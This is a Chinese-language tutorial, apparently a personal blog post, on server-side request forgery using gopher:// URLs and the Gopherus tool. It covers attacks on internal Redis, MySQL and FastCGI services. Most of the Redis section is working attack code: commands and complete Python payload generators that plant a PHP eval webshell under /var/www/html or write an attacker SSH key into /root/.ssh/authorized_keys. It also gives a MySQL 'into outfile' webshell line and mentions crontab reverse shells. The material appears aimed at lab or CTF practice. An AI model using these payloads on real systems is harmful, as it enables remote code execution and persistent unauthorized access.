gopher是http协议出现以前常用的协议。它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。它可以发送GET、POST请求,攻击内网的redis以及ftp。
使用限制
php:--wite-curlwrappers且php版本不小于5.3
java:小于JDK1.7
curl:低版本不支持
perl:支持
ASP.NET:小于3
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher发送get请求
GET /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
gopher://192.168.47.244:80/_GET /b.php?q=1 HTTP/1.1 Host: 192.168.47.244
//url解码前的内容
gopher://192.168.47.244:80/_GET%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0A%0D%0A
gopher发送post请求
POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
q=Myname
gopher://192.168.47.244:80/_POST /b.php?q=1 HTTP/1.1
Host: 192.168.47.244
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
q=Myname
//url解码前的内容
gopher://192.168.47.244:80/_POST%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%208%0D%0A%0D%0Aq%3DMyname
而gopherus是产生gopher的payload程序。
kali下载,python2环境。
下载地址:https://github.com/tarunkant/Gopherus
可以在kali中使用下列命令获取:
git https://github.com/tarunkant/Gopherus.git
目前支持生成payload应用有:
MySQL (Port:3306)
FastCGI (Port:9000)
Memcached (Port:11211)
Redis (Port:6379)
Zabbix (Port:10050)
SMTP (Port:25)
curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode
一种c语言编写的非关系型数据库。默认端口6379
RESP 是 Redis 序列化协议的简写。redis协议将传输的数据分为五种最小单元类型,单元结束时统一加上回车换行符号\r\n。注意
单行字符串以 + 符号开头。
+hello world\r\n
多行字符串以 $ 符号开头,后跟字符串长度。多行字符串当然也可以表示单行字符串。
$11\r\nhello world\r\n
整数值以 : 符号开头,后跟整数的字符串形式。
1024:
:1024\r\n
错误消息以 - 符号开头。
-WRONGTYPE Operation against a key holding the wrong kind of value
数组以 * 号开头,后跟数组的长度。
[1,2,3]:
*3\r\n:1\r\n:2\r\n:3\r\n
例如
输入*3\r\n$3\r\nset\r\n$6\r\nauthor\r\n$8\r\ncodehole\r\n
*3
$3
set
$6
author
$8
codehole
1.绝对路径写webshell
2.写ssh公钥
3.写contrab计划任务反弹shell
4.主从复制webshell
python2 gopherus.py --exploit redis php//ReverseShell应该是反弹shell PHPshell就是webshell了 回车(默认目录) <?php eval($_POST['1']);?> //默认的写入文件名是shell.php 默认的命令参数是cmd
传入然后访问连接即可。
构造redis语句
flushall
config set dir /var/www/html
config set dbfilename shell.php
set 1 '<?php eval($_GET["cmd"]);?>'
save
去网上找了一个师傅的脚本,将命令转化为resp形式
import urllib protocol="gopher://" ip="192.168.64.163" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
运行后将结果传入靶机,连接即可
前提:靶机的ssh开启
import urllib protocol = "gopher://" ip = "192.168.64.163" port = "6379" shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename = "authorized_keys" path = "/root/.ssh/" ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZ4COG/WedK5DMzzUrXon27jTinJr7p7fqXUuQmDELqSmtVJEhM7PDcfuELxB49GnxERabS+jKiylRuMDPw+OQYxLOANuWt8F0L5vCzik2ADn6OsD7Pq/vqCXo6gOHAKdueG8PsoeShw0DgUhwdd0jzSrz3RciuSo9Ka8y8QCU0BqQbosYxWVDpr2pzqkBL8LEB9oUu06ug5hJNoG1rpCPbebXCVCPvnnFVWuDHb0u9DSZz8a1LSREF1aDDjAHrc5TMOMh4LpIIaIbLq55/ZBI3KHEOfmpeKa+G56BcO03PV9L9Dx8XpT2p77zwOZWNRtHOTSV5o1qdwGyRNkff5Hhe5BojG5zwdzjkoduAs4s8pqPEYe4XiPrA2vkJuaYDG0pMNlCbwDmIKos6rr6iBJvgp9vTRGrlzqlf2HLqN9Bxmd52/6TQD5xgA0XsNPNr6EWVzS/NS9cZ5MJ3gzCJWkZEfMmNyaJwcul6Q3PPykN+iQ5pd9vejcsMeCEgdZVRhU= [email protected]\n\n" passwd = "" cmd = ["flushall", "set 1 {}".format(ssh_pub.replace(" ", "${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0, "AUTH {}".format(passwd)) payload = protocol + ip + ":" + port + "/_" def redis_format(arr): CRLF = "\r\n" redis_arr = arr.split(" ") cmd = "" cmd += "*" + str(len(redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ") cmd += CRLF return cmd if __name__ == "__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print(payload)
利用curl命令写入后连接
ssh [email protected]:port
mysql客户端登录服务器时有两种情况,需要密码和不需要密码。gopher协议打mysql不需要密码的情况。
还是要通过dict协议获取端口。默认3306
前提
知道网站路径
对数据库有执行权限
python2 gopherus.py --exploit mysql
root
select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php
直接将木马写入1.php,然后访问即可。
Fastcgi是服务器中间件和某个语言后端进行数据交换的通信协议。由多个record构成。
record也有header和body,服务器中间件封装按协议发送到后端,后端处理后,按协议返回。
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
作用:标志每个record的作用
当9000端口暴露时候,我们可以伪造fastcgi与后端语言之间的协议报文来攻击,当9000端口未暴露时,我们也可以用gopherus进行ssrf。
python2 gopherus.py --exploit fastcgi
回车
回车
命令